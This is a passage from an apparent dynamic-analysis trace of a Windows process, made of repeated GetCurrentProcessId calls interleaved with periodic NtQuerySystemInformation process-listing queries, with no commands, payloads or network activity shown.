0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.426] GetCurrentProcessId () returned 0xd70 [0118.426] GetCurrentProcessId () returned 0xd70 [0118.426] GetCurrentProcessId () returned 0xd70 [0118.426] GetCurrentProcessId () returned 0xd70 [0118.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bea8) returned 0x0 [0118.961] GetCurrentProcessId () returned 0xd70 [0118.961] GetCurrentProcessId () returned 0xd70 [0118.961] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.962] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.963] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.964] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.965] GetCurrentProcessId () returned 0xd70 [0118.966] GetCurrentProcessId () returned 0xd70 [0118.966] GetCurrentProcessId () returned 0xd70 [0118.966] GetCurrentProcessId () returned 0xd70 [0118.966] GetCurrentProcessId () returned 0xd70 [0119.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bef8) returned 0x0 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.519] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.520] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.521] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0119.522] GetCurrentProcessId () returned 0xd70 [0120.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c0b8) returned 0x0 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.081] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.082] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.083] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.084] GetCurrentProcessId () returned 0xd70 [0120.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be68) returned 0x0 [0120.627] GetCurrentProcessId () returned 0xd70 [0120.627] GetCurrentProcessId () returned 0xd70 [0120.627] GetCurrentProcessId () returned 0xd70 [0120.627] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.628] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.629] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.630] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0120.631] GetCurrentProcessId () returned 0xd70 [0121.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bbc8) returned 0x0 [0121.249] GetCurrentProcessId () returned 0xd70 [0121.249] GetCurrentProcessId () returned 0xd70 [0121.249] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.250] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.251] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.252] GetCurrentProcessId () returned 0xd70 [0121.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be18) returned 0x0 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.772] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 [0121.773] GetCurrentProcessId () returned 0xd70 